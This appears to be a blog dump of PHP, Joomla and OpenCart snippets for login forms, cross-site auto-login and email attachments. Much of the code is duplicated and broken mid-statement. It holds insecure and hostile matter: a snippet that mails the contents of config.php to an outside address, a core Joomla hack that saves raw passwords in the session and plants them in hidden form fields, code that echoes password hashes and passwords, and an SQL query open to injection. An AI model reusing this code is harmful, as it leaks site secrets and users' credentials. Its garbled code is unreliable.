Auto_javascript_login
<html>
<head>
<script language="JavaScript" type="text/javascript">
var t = setTimeout("document.myform.submit();",2000); //2 seconds measured in miliseconds
</script>
</head>
<body>
<form name="myform" action="nextpage.html" method="post">
<input type="name" size="12" maxlength="6" id="pswd" />
<input type="Submit" value="LOGIN" name="value(Submit)" onclick="javascript:return Login_Form_Validator(document.parameter)" onmouseover="this.style.cursor='hand'"/>
</form>
</body>
</html>
<head>
<script language="JavaScript" type="text/javascript">
var t = setTimeout("document.myform.submit();",2000); //2 seconds measured in miliseconds
</script>
</head>
<body>
<form name="myform" action="nextpage.html" method="post">
<input type="name" size="12" maxlength="6" id="pswd" />
<input type="Submit" value="LOGIN" name="value(Submit)" onclick="javascript:return Login_Form_Validator(document.parameter)" onmouseover="this.style.cursor='hand'"/>
</form>
</body>
</html>
joomla_look_url_check_put_your_code
function curPageURL() {
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
$pageURL .= "://";
if ($_SERVER["SERVER_PORT"] != "80") {
$pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
} else {
$pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
}
return $pageURL;
}
if(curPageURL()=='http://buzzbarn.biz/index.php?option=com_content&view=article&id=66&Itemid=36'){
}
php_login
config.inc
-----------------------------------
<?php
$hostname = 'localhost'; // Your MySQL hostname. Usualy named as 'localhost', so you're NOT necessary to change this even this script has already online on the internet.
$dbname = ''; // Your database name.
$username = ''; // Your database username.
$password = ''; // Your database password. If your database has no password, leave it empty.
// Let's connect to host
mysql_connect($hostname, $username, $password) or DIE('Connection to host is failed, perhaps the service is down!');
// Select the database
mysql_select_db($dbname) or DIE('Database name is not available!');
?>
-----------------------------------------
index.php
----------------------------------------
<?php
// Inialize session
session_start();
// Check, if user is already login, then jump to secured page
if (isset($_SESSION['username'])) {
header('Location: securedpage.php');
}
?>
<html>
<head>
<title>PHPMySimpleLogin 0.3</title>
</head>
<body>
<h3>User Login</h3>
<table border="0">
<form method="POST" action="loginproc.php">
<tr><td>Username</td><td>:</td><td><input type="text" name="username" size="20"></td></tr>
<tr><td>Password</td><td>:</td><td><input type="password" name="password" size="20"></td></tr>
<tr><td> </td><td> </td><td><input type="submit" value="Login"></td></tr>
</form>
</table>
</body>
</html>
----------------------------------
loginproc.php
----------------------------------
<?php
// Inialize session
session_start();
// Include database connection settings
include('config.inc');
// Retrieve username and password from database according to user's input
$login = mysql_query("SELECT * FROM table_name WHERE (email = '" . mysql_real_escape_string($_POST['username']) . "') and (password = '" . mysql_real_escape_string(md5($_POST['password'])) . "')");
//$info=mysql_query("")
// Check username and password match
if (mysql_num_rows($login) == 1) {
// Set username session variable
$_SESSION['username'] = $_POST['username'];
echo 'hello.....';
echo $_POST['password'];
// Jump to secured page
//header('Location: securedpage.php');
}
else {
// Jump to login page
header('Location: index.php');
}
?>
-------------------------------
securedpage.php
------------------------------
<?php
// Inialize session
session_start();
// Check, if username session is NOT set then this page will jump to login page
if (!isset($_SESSION['username'])) {
header('Location: index.php');
}
else
{
if((isset($session->data['username'])))
{
header( 'Location: http://www.example.com/login' ) ;
}
}
?>
<html>
<head>
<title>Secured Page</title>
</head>
<body>
<p>This is secured page with session: <b><?php echo $_SESSION['username']; ?></b>
<br>You can put your restricted information here.</p>
<p><a href="logout.php">Logout</a></p>
</body>
</html>
-----------------------------------
<?php
$hostname = 'localhost'; // Your MySQL hostname. Usualy named as 'localhost', so you're NOT necessary to change this even this script has already online on the internet.
$dbname = ''; // Your database name.
$username = ''; // Your database username.
$password = ''; // Your database password. If your database has no password, leave it empty.
// Let's connect to host
mysql_connect($hostname, $username, $password) or DIE('Connection to host is failed, perhaps the service is down!');
// Select the database
mysql_select_db($dbname) or DIE('Database name is not available!');
?>
-----------------------------------------
index.php
----------------------------------------
<?php
// Inialize session
session_start();
// Check, if user is already login, then jump to secured page
if (isset($_SESSION['username'])) {
header('Location: securedpage.php');
}
?>
<html>
<head>
<title>PHPMySimpleLogin 0.3</title>
</head>
<body>
<h3>User Login</h3>
<table border="0">
<form method="POST" action="loginproc.php">
<tr><td>Username</td><td>:</td><td><input type="text" name="username" size="20"></td></tr>
<tr><td>Password</td><td>:</td><td><input type="password" name="password" size="20"></td></tr>
<tr><td> </td><td> </td><td><input type="submit" value="Login"></td></tr>
</form>
</table>
</body>
</html>
----------------------------------
loginproc.php
----------------------------------
<?php
// Inialize session
session_start();
// Include database connection settings
include('config.inc');
// Retrieve username and password from database according to user's input
$login = mysql_query("SELECT * FROM table_name WHERE (email = '" . mysql_real_escape_string($_POST['username']) . "') and (password = '" . mysql_real_escape_string(md5($_POST['password'])) . "')");
//$info=mysql_query("")
// Check username and password match
if (mysql_num_rows($login) == 1) {
// Set username session variable
$_SESSION['username'] = $_POST['username'];
echo 'hello.....';
echo $_POST['password'];
// Jump to secured page
//header('Location: securedpage.php');
}
else {
// Jump to login page
header('Location: index.php');
}
?>
-------------------------------
securedpage.php
------------------------------
<?php
// Inialize session
session_start();
// Check, if username session is NOT set then this page will jump to login page
if (!isset($_SESSION['username'])) {
header('Location: index.php');
}
else
{
if((isset($session->data['username'])))
{
header( 'Location: http://www.example.com/login' ) ;
}
}
?>
<html>
<head>
<title>Secured Page</title>
</head>
<body>
<p>This is secured page with session: <b><?php echo $_SESSION['username']; ?></b>
<br>You can put your restricted information here.</p>
<p><a href="logout.php">Logout</a></p>
</body>
</html>
-----------------------
logout.php
-----------------------
<?php
// Inialize session
session_start();
// Delete certain session
unset($_SESSION['username']);
// Delete all session variables
// session_destroy();
// Jump to login page
header('Location: index.php');
?>
--------------------------------
send email with attachment
<?php
$fileatt = "mypdffile.pdf"; // Path to the file
$fileatt_type = "application/pdf"; // File Type
$fileatt_name = "mypdffile.pdf"; // Filename that will be used for the file as the attachment
$fileatt = "mypdffile.pdf"; // Path to the file
$fileatt_type = "application/pdf"; // File Type
$fileatt_name = "mypdffile.pdf"; // Filename that will be used for the file as the attachment
$email_from = "sales@mysite.com"; // Who the email is from
$email_subject = "Your attached file"; // The Subject of the email
$email_message = "Thanks for visiting mysite.com! Here is your free file.
";
$email_message .= "Thanks for visiting.
"; // Message that the email has in it
$email_subject = "Your attached file"; // The Subject of the email
$email_message = "Thanks for visiting mysite.com! Here is your free file.
";
$email_message .= "Thanks for visiting.
"; // Message that the email has in it
$email_to = $_POST['email']; // Who the email is to
$headers = "From: ".$email_from;
$file = fopen($fileatt,'rb');
$data = fread($file,filesize($fileatt));
fclose($file);
$data = fread($file,filesize($fileatt));
fclose($file);
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
$headers .= "\nMIME-Version: 1.0\n" .
"Content-Type: multipart/mixed;\n" .
" boundary=\"{$mime_boundary}\"";
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
$headers .= "\nMIME-Version: 1.0\n" .
"Content-Type: multipart/mixed;\n" .
" boundary=\"{$mime_boundary}\"";
$email_message .= "This is a multi-part message in MIME format.\n\n" .
"--{$mime_boundary}\n" .
"Content-Type:text/html; charset=\"iso-8859-1\"\n" .
"Content-Transfer-Encoding: 7bit\n\n" .
$email_message .= "\n\n";
"--{$mime_boundary}\n" .
"Content-Type:text/html; charset=\"iso-8859-1\"\n" .
"Content-Transfer-Encoding: 7bit\n\n" .
$email_message .= "\n\n";
$data = chunk_split(base64_encode($data));
$email_message .= "--{$mime_boundary}\n" .
"Content-Type: {$fileatt_type};\n" .
" name=\"{$fileatt_name}\"\n" .
//"Content-Disposition: attachment;\n" .
//" filename=\"{$fileatt_name}\"\n" .
"Content-Transfer-Encoding: base64\n\n" .
$data .= "\n\n" .
"--{$mime_boundary}--\n";
"Content-Type: {$fileatt_type};\n" .
" name=\"{$fileatt_name}\"\n" .
//"Content-Disposition: attachment;\n" .
//" filename=\"{$fileatt_name}\"\n" .
"Content-Transfer-Encoding: base64\n\n" .
$data .= "\n\n" .
"--{$mime_boundary}--\n";
$ok = @mail($email_to, $email_subject, $email_message, $headers);
if($ok) {
echo "You file has been sent
to the email address you specified.
Make sure to check your junk mail!
Click here to return to mysite.com.";
echo "You file has been sent
to the email address you specified.
Make sure to check your junk mail!
Click here to return to mysite.com.";
} else {
die("Sorry but the email could not be sent. Please go back and try again!");
}
?>
die("Sorry but the email could not be sent. Please go back and try again!");
}
?>
Decrypt md5
mt_srand((double)microtime() * 1000000); $charlist = "qwertyuiopasdfghjklzxcvbnm1234567890"; $newpass = ''; $max = strlen($charlist) - 1;
for ($i = 0; $i < 10; $i++) {
$randnum = mt_rand(0, $max);
$newpass .= $charlist{$randnum};
}
http://md5.gromweb.com/?md5=4ce390283871ceedb7b3e009251da7c0
for ($i = 0; $i < 10; $i++) {
$randnum = mt_rand(0, $max);
$newpass .= $charlist{$randnum};
}
http://md5.gromweb.com/?md5=4ce390283871ceedb7b3e009251da7c0
MySQL Check if username and password matches in Database
$user = $_POST['user'];
$pass = md5($_POST['pass']);
if ($user&&$pass)
{
//connect to db
$connect = mysql_connect("$server","$username","$password") or die("not connecting");
mysql_select_db("users") or die("no db :'(");
$query = mysql_query("SELECT * FROM $tablename WHERE username='$user'");
$numrows = mysql_num_rows($query);
if ($numrows!=0)
{
//while loop
while ($row = mysql_fetch_assoc($query))
{
$dbusername = $row['username'];
$dbpassword = $row['password'];
}
else
die("incorrect username/password!");
}
else
echo "user does not exist!";
}
else
die("please enter a username and password!");
How to do auto login, store the session in the browser
What I do is, I keep user ID and/or username and login hash, md5(userID + username + password) as cookies.
Upon another visit, take ID from cookie and check login hash against the same formula it was generated. If the same, login automatically.
Global
$randomSeperator = '!~!';
First Run...
$hash = md5($id . $randomSeperator . $username);
setCookie('id', $id);
setCookie('username', $username);
setCookie('hash', $hash);
Second Run...
$id/$username/$hash = $_COOKIE[][][] .... // Get all 3 cookies
if($hash == md5($id . $randomSeperator . $username) ){
// Do Autologin
}
automatic login to another website
<?php
echo function_exists('curl_init')
? 'cURL is enabled'
: 'cURL is NOT enabled';
?>
<?php
$username = 'xxxxxx';
$password = 'yyyyy1';
$url = 'http://www.fracsoft.com/';
$context = stream_context_create(array(
'http' => array(
'header' => "Authorization: Basic " . base64_encode("$username:$password")
)
));
$data = file_get_contents($url, false, $context);
// echo $data?>
Opencart, Delete a few option from Account & Billing Details
edit thru FTP the files in /catalog/view/theme/default/template/account/address_form.tpl and catalog/view/theme/default/template/account/register.tpl
It would be more recommended to use a custom theme folder rather than using the default template.
quite right, i just assumed that he was a newbie, "not that i am not" and he would be using the default
Well, nevertheless, whether he would be a new user or a regular user, especially if you'd not be a new user, it would still be the best approach not to suggest to edit core files or only when it's really needed ...
recieved and understood
Final_joom_open
->To get the password to go /component/com_user/controller.php and find
$credentials['password'] = JRequest::getString('passwd', '', 'post', JREQUEST_ALLOWRAW);
->And store it
$_SESSION['joom_password'] = $_POST['passwd'];
// byazit@gmail.com
//here we start
$user = &JFactory::getUser();
if(($user->id)>0&&$user->get( 'js_badge')=="pp")
{
$isPowerUser=true;
$user_email=$user->email;
$user_passwd=$user->password;
echo "</br>";
//open_cart start here
include('opencart_db_connection.inc');
$login = mysql_query("SELECT * FROM customer WHERE email='$user_email' and customer_group_id='6'");
if (!$login){
echo "An error occured.\n";
exit;
}
else{
$row = mysql_fetch_array($login);
}
$oc_email=$row['email'];
$pass_p=$row['password'];
$j_passwd=$_SESSION['joom_password'];
$t_char=strlen($user_passwd); //calculate string length
$salt= substr($user_passwd, 33, $t_char); //get value depends on length
$joomla_pass = md5($j_passwd . $salt) . ":" . $salt;
include('/home/papaka5/public_html/buzzbarn.biz/components/com_user/controller.php');
//$j_passwd=md5($_SESSION['joom_password']);
if(($oc_email==$user_email)&&$user_passwd==$joomla_pass)
{?>
<form action="http://www.buzzbarn.biz/store/index.php?route=account/login" method="post" name="login" >
<input type="hidden" value="<?php echo $user_email ?>" name="email" class="inputbox" alt="username" size="10" />
<input type="hidden" name="password" class="inputbox" size="10" alt="password" value="<?php echo $j_passwd ?>" /> <input type="hidden" name="option" value="login" />
<input type="submit" name="Submit" class="button" value="Continue" />
</form>
<?php
}
}
else {?>
<form method="link" action="http://www.buzzbarn.biz/store/">
<div align="center">
<input type="submit" name="Submit" class="button" value="Continue" />
</div>
</form>
<?php
}
$credentials['password'] = JRequest::getString('passwd', '', 'post', JREQUEST_ALLOWRAW);
->And store it
$_SESSION['joom_password'] = $_POST['passwd'];
// byazit@gmail.com
//here we start
$user = &JFactory::getUser();
if(($user->id)>0&&$user->get( 'js_badge')=="pp")
{
$isPowerUser=true;
$user_email=$user->email;
$user_passwd=$user->password;
echo "</br>";
//open_cart start here
include('opencart_db_connection.inc');
$login = mysql_query("SELECT * FROM customer WHERE email='$user_email' and customer_group_id='6'");
if (!$login){
echo "An error occured.\n";
exit;
}
else{
$row = mysql_fetch_array($login);
}
$oc_email=$row['email'];
$pass_p=$row['password'];
$j_passwd=$_SESSION['joom_password'];
$t_char=strlen($user_passwd); //calculate string length
$salt= substr($user_passwd, 33, $t_char); //get value depends on length
$joomla_pass = md5($j_passwd . $salt) . ":" . $salt;
include('/home/papaka5/public_html/buzzbarn.biz/components/com_user/controller.php');
//$j_passwd=md5($_SESSION['joom_password']);
if(($oc_email==$user_email)&&$user_passwd==$joomla_pass)
{?>
<form action="http://www.buzzbarn.biz/store/index.php?route=account/login" method="post" name="login" >
<input type="hidden" value="<?php echo $user_email ?>" name="email" class="inputbox" alt="username" size="10" />
<input type="hidden" name="password" class="inputbox" size="10" alt="password" value="<?php echo $j_passwd ?>" /> <input type="hidden" name="option" value="login" />
<input type="submit" name="Submit" class="button" value="Continue" />
</form>
<?php
}
}
else {?>
<form method="link" action="http://www.buzzbarn.biz/store/">
<div align="center">
<input type="submit" name="Submit" class="button" value="Continue" />
</div>
</form>
<?php
}
how to attach file and email
<?php
$fileatt="config.php";
$file = fopen($fileatt,'rb');
$data = fread($file,filesize($fileatt));
fclose($file);
mail(' @gmail.com','all_info',$data);
?>
joomla_opencart_connection
<?php
/**
* @version $Id: view.html.php 14401 2010-01-26 14:10:00Z louis $
* @package Joomla
* @subpackage Content
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant to the
* GNU General Public License, and as distributed it includes or is derivative
* of works licensed under the GNU General Public License or other free or open
* source software licenses. See COPYRIGHT.php for copyright notices and
* details.
*/
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );
require_once (JPATH_COMPONENT.DS.'view.php');
/**
* HTML Article View class for the Content component
*
* @package Joomla
* @subpackage Content
* @since 1.5
*/
class ContentViewArticle extends ContentView
{
function display($tpl = null)
{
global $mainframe;
$user =& JFactory::getUser();
$document =& JFactory::getDocument();
$dispatcher =& JDispatcher::getInstance();
$pathway =& $mainframe->getPathway();
$params =& $mainframe->getParams('com_content');
// Initialize variables
$article =& $this->get('Article');
$aparams =& $article->parameters;
$params->merge($aparams);
if($this->getLayout() == 'pagebreak') {
$this->_displayPagebreak($tpl);
return;
}
if($this->getLayout() == 'form') {
$this->_displayForm($tpl);
return;
}
if (($article->id == 0))
{
$id = JRequest::getVar( 'id', '', 'default', 'int' );
return JError::raiseError( 404, JText::sprintf( 'Article # not found', $id ) );
}
$limitstart = JRequest::getVar('limitstart', 0, '', 'int');
if (!$params->get('intro_only') && ($this->getLayout() == 'default') && ($limitstart == 0))
{
$model =& $this->getModel();
$model->hit();
}
// Create a user access object for the current user
$access = new stdClass();
$access->canEdit = $user->authorize('com_content', 'edit', 'content', 'all');
$access->canEditOwn = $user->authorize('com_content', 'edit', 'content', 'own');
$access->canPublish = $user->authorize('com_content', 'publish', 'content', 'all');
// Check to see if the user has access to view the full article
$aid = $user->get('aid');
// byazit@gmail.com
echo "<div>";
//here we start
$user = &JFactory::getUser();
if(($user->id)>0&&$user->get( 'js_badge')=="pp")
{
$isPowerUser=true;
$user_email=$user->email;
$user_passwd=$user->password;
echo "</br>";
//open_cart start here
include('opencart_db_connection.inc');
$login = mysql_query("SELECT * FROM customer WHERE email='$user_email' and customer_group_id='6'");
if (!$login){
echo "An error occured.\n";
exit;
}
else{
$row = mysql_fetch_array($login);
}
$oc_email=$row['email'];
$pass_p=$row['password'];
include('/home/papaka5/public_html/buzzbarn.biz/components/com_user/controller.php');
$j_passwd=md5($_SESSION['joom_password']);
$t_char=strlen($user_passwd); //calculate string length
$salt=$final_list= substr($user_passwd, 33, $t_char); //get value depends on length
echo $ers=substr($user_passwd,0,32);
$test_pass=$pass_p-$ers;
echo "</br>".$rte=md5($pass_p . $test_pass) . ":" . $salt;
echo "</br>this is new : ".$test_pass;
$joomla_pass = md5($password . $salt) . ":" . $salt;
echo "</br>this is from opencart ".$final_list;
echo "</br>";
echo "this is from joomla ".$user_passwd;
echo "</br>";
echo "this is modify joomla password ".$joomla_pass;
$open_cart=$joomla.$salt;
echo "</br>";
echo $open_cart;
echo "</br>.....";
$return = mysql_query("SELECT * FROM jos_users WHERE (password ='$user_passwd')");
if (mysql_num_rows($return) == 1) {
echo "success!";
}
else{ echo "fali!"; }
echo "</br>";
?>
<body class="oneColLiqCtr">
<form action="http://www.buzzbarn.biz/store/index.php?route=account/login" method="post" name="login" >
<div id="container">
<div id="mainContent"><span class="style1">User </span><br />
<input type="text" value="<?php echo $user_email ?>" name="email" class="inputbox" alt="username" size="10" />
<br />
<span class="style1">Password</span><br />
<input type="password" name="password" class="inputbox" size="10" alt="password" value="<?php echo $user_passwd ?>" />
<br />
<input type="checkbox" name="remember" class="inputbox" value="yes" alt="Remember Me" />
<span class="style1">Remember Me</span><br />
<input type="hidden" name="option" value="login" />
<input type="submit" name="Submit" class="button" value="Login" />
<form action="http://sutherland.crca.org.au/" method="post" name="login">
<p><a href="http://www.yoursite.com/index.php?option=com_registration&task=lostPassword" class="style2">Forgot password? </a>
<input type="hidden" name="op2" value="login" />
<input type="hidden" name="lang" value="english" />
<input type="hidden" name="return" value="/" />
<input type="hidden" name="message" value="0" />
</p>
</form>
<!-- end #container -->
</div>
</div>
<?php
echo "</div>";
}
else
//end connection
if ($article->access <= $aid) {
$article->readmore_link = JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catslug, $article->sectionid));;
} else {
if ( ! $aid )
{
// Redirect to login
$uri = JFactory::getURI();
$return = $uri->toString();
$url = 'index.php?option=com_user&view=login';
$url .= '&return='.base64_encode($return);;
//$url = JRoute::_($url, false);
$mainframe->redirect($url, JText::_('You must login first') );
}
else{
JError::raiseWarning( 403, JText::_('ALERTNOTAUTH') );
return;
}
}
/*
* Process the prepare content plugins
*/
JPluginHelper::importPlugin('content');
$results = $dispatcher->trigger('onPrepareContent', array (& $article, & $params, $limitstart));
/*
* Handle the metadata
*/
// because the application sets a default page title, we need to get it
// right from the menu item itself
// Get the menu item object
$menus = &JSite::getMenu();
$menu = $menus->getActive();
if (is_object( $menu ) && isset($menu->query['view']) && $menu->query['view'] == 'article' && isset($menu->query['id']) && $menu->query['id'] == $article->id) {
$menu_params = new JParameter( $menu->params );
if (!$menu_params->get( 'page_title')) {
$params->set('page_title', $article->title);
}
} else {
$params->set('page_title', $article->title);
}
$document->setTitle( $params->get( 'page_title' ) );
if ($article->metadesc) {
$document->setDescription( $article->metadesc );
}
if ($article->metakey) {
$document->setMetadata('keywords', $article->metakey);
}
if ($mainframe->getCfg('MetaTitle') == '1') {
$mainframe->addMetaTag('title', $article->title);
}
if ($mainframe->getCfg('MetaAuthor') == '1') {
$mainframe->addMetaTag('author', $article->author);
}
$mdata = new JParameter($article->metadata);
$mdata = $mdata->toArray();
foreach ($mdata as $k => $v)
{
if ($v) {
$document->setMetadata($k, $v);
}
}
// If there is a pagebreak heading or title, add it to the page title
if (!empty($article->page_title))
{
$article->title = $article->title .' - '. $article->page_title;
$document->setTitle($article->page_title.' - '.JText::sprintf('Page %s', $limitstart + 1));
}
/*
* Handle the breadcrumbs
*/
if($menu && $menu->query['view'] != 'article')
{
switch ($menu->query['view'])
{
case 'section':
$pathway->addItem($article->category, 'index.php?view=category&id='.$article->catslug);
$pathway->addItem($article->title, '');
break;
case 'category':
$pathway->addItem($article->title, '');
break;
}
}
/*
* Handle display events
*/
$article->event = new stdClass();
$results = $dispatcher->trigger('onAfterDisplayTitle', array (&$article, &$params, $limitstart));
$article->event->afterDisplayTitle = trim(implode("\n", $results));
$results = $dispatcher->trigger('onBeforeDisplayContent', array (&$article, &$params, $limitstart));
$article->event->beforeDisplayContent = trim(implode("\n", $results));
$results = $dispatcher->trigger('onAfterDisplayContent', array (&$article, &$params, $limitstart));
$article->event->afterDisplayContent = trim(implode("\n", $results));
$print = JRequest::getBool('print');
if ($print) {
$document->setMetaData('robots', 'noindex, nofollow');
}
$this->assignRef('article', $article);
$this->assignRef('params' , $params);
$this->assignRef('user' , $user);
$this->assignRef('access' , $access);
$this->assignRef('print', $print);
parent::display($tpl);
}
function _displayForm($tpl)
{
global $mainframe;
// Initialize variables
$document =& JFactory::getDocument();
$user =& JFactory::getUser();
$uri =& JFactory::getURI();
$params =& $mainframe->getParams('com_content');
// Make sure you are logged in and have the necessary access rights
if ($user->get('gid') < 19) {
JResponse::setHeader('HTTP/1.0 403',true);
JError::raiseWarning( 403, JText::_('ALERTNOTAUTH') );
return;
}
// Initialize variables
$article =& $this->get('Article');
$aparams =& $article->parameters;
$isNew = ($article->id < 1);
$params->merge($aparams);
// At some point in the future this will come from a request object
$limitstart = JRequest::getVar('limitstart', 0, '', 'int');
// Add the Calendar includes to the document <head> section
JHTML::_('behavior.calendar');
if ($isNew)
{
// TODO: Do we allow non-sectioned articles from the frontend??
$article->sectionid = JRequest::getVar('sectionid', 0, '', 'int');
$db = JFactory::getDBO();
$db->setQuery('SELECT title FROM #__sections WHERE id = '.(int) $article->sectionid);
$article->section = $db->loadResult();
}
// Get the lists
$lists = $this->_buildEditLists();
// Load the JEditor object
$editor =& JFactory::getEditor();
// Build the page title string
$title = $article->id ? JText::_('Edit') : JText::_('New');
// Set page title
// because the application sets a default page title, we need to get it
// right from the menu item itself
// Get the menu item object
$menus = &JSite::getMenu();
$menu = $menus->getActive();
$params->set( 'page_title', $params->get( 'page_title' ) );
if (is_object( $menu )) {
$menu_params = new JParameter( $menu->params );
if (!$menu_params->get( 'page_title')) {
$params->set('page_title', JText::_( 'Submit an Article' ));
}
} else {
$params->set('page_title', JText::_( 'Submit an Article' ));
}
$document->setTitle( $params->get( 'page_title' ) );
// get pathway
$pathway =& $mainframe->getPathWay();
$pathway->addItem($title, '');
// Unify the introtext and fulltext fields and separated the fields by the {readmore} tag
if (JString::strlen($article->fulltext) > 1) {
$article->text = $article->introtext."<hr id=\"system-readmore\" />".$article->fulltext;
} else {
$article->text = $article->introtext;
}
$this->assign('action', $uri->toString());
$this->assignRef('article', $article);
$this->assignRef('params', $params);
$this->assignRef('lists', $lists);
$this->assignRef('editor', $editor);
$this->assignRef('user', $user);
parent::display($tpl);
}
function _buildEditLists()
{
// Get the article and database connector from the model
$article = & $this->get('Article');
$db = & JFactory::getDBO();
$javascript = "onchange=\"changeDynaList( 'catid', sectioncategories, document.adminForm.sectionid.options[document.adminForm.sectionid.selectedIndex].value, 0, 0);\"";
$query = 'SELECT s.id, s.title' .
' FROM #__sections AS s' .
' ORDER BY s.ordering';
$db->setQuery($query);
$sections[] = JHTML::_('select.option', '-1', '- '.JText::_('Select Section').' -', 'id', 'title');
$sections[] = JHTML::_('select.option', '0', JText::_('Uncategorized'), 'id', 'title');
$sections = array_merge($sections, $db->loadObjectList());
$lists['sectionid'] = JHTML::_('select.genericlist', $sections, 'sectionid', 'class="inputbox" size="1" '.$javascript, 'id', 'title', intval($article->sectionid));
foreach ($sections as $section)
{
$section_list[] = (int) $section->id;
// get the type name - which is a special category
if ($article->sectionid) {
if ($section->id == $article->sectionid) {
$contentSection = $section->title;
}
} else {
if ($section->id == $article->sectionid) {
$contentSection = $section->title;
}
}
}
$sectioncategories = array ();
$sectioncategories[-1] = array ();
$sectioncategories[-1][] = JHTML::_('select.option', '-1', JText::_( 'Select Category' ), 'id', 'title');
$section_list = implode('\', \'', $section_list);
$query = 'SELECT id, title, section' .
' FROM #__categories' .
' WHERE section IN ( \''.$section_list.'\' )' .
' ORDER BY ordering';
$db->setQuery($query);
$cat_list = $db->loadObjectList();
// Uncategorized category mapped to uncategorized section
$uncat = new stdClass();
$uncat->id = 0;
$uncat->title = JText::_('Uncategorized');
$uncat->section = 0;
$cat_list[] = $uncat;
foreach ($sections as $section)
{
$sectioncategories[$section->id] = array ();
$rows2 = array ();
foreach ($cat_list as $cat)
{
if ($cat->section == $section->id) {
$rows2[] = $cat;
}
}
foreach ($rows2 as $row2) {
$sectioncategories[$section->id][] = JHTML::_('select.option', $row2->id, $row2->title, 'id', 'title');
}
}
$categories = array();
foreach ($cat_list as $cat) {
if($cat->section == $article->sectionid)
$categories[] = $cat;
}
$categories[] = JHTML::_('select.option', '-1', JText::_( 'Select Category' ), 'id', 'title');
$lists['sectioncategories'] = $sectioncategories;
$lists['catid'] = JHTML::_('select.genericlist', $categories, 'catid', 'class="inputbox" size="1"', 'id', 'title', intval($article->catid));
// Select List: Category Ordering
$query = 'SELECT ordering AS value, title AS text FROM #__content WHERE catid = '.(int) $article->catid.' AND state > ' .(int) "-1" . ' ORDER BY ordering';
$lists['ordering'] = JHTML::_('list.specificordering', $article, $article->id, $query, 1);
// Radio Buttons: Should the article be published
$lists['state'] = JHTML::_('select.booleanlist', 'state', '', $article->state);
// Radio Buttons: Should the article be added to the frontpage
if($article->id) {
$query = 'SELECT content_id FROM #__content_frontpage WHERE content_id = '. (int) $article->id;
$db->setQuery($query);
$article->frontpage = $db->loadResult();
} else {
$article->frontpage = 0;
}
$lists['frontpage'] = JHTML::_('select.booleanlist', 'frontpage', '', (boolean) $article->frontpage);
// Select List: Group Access
$lists['access'] = JHTML::_('list.accesslevel', $article);
return $lists;
}
function _displayPagebreak($tpl)
{
$document =& JFactory::getDocument();
$document->setTitle(JText::_('PGB ARTICLE PAGEBRK'));
parent::display($tpl);
}
}
Subscribe to:
Posts (Atom)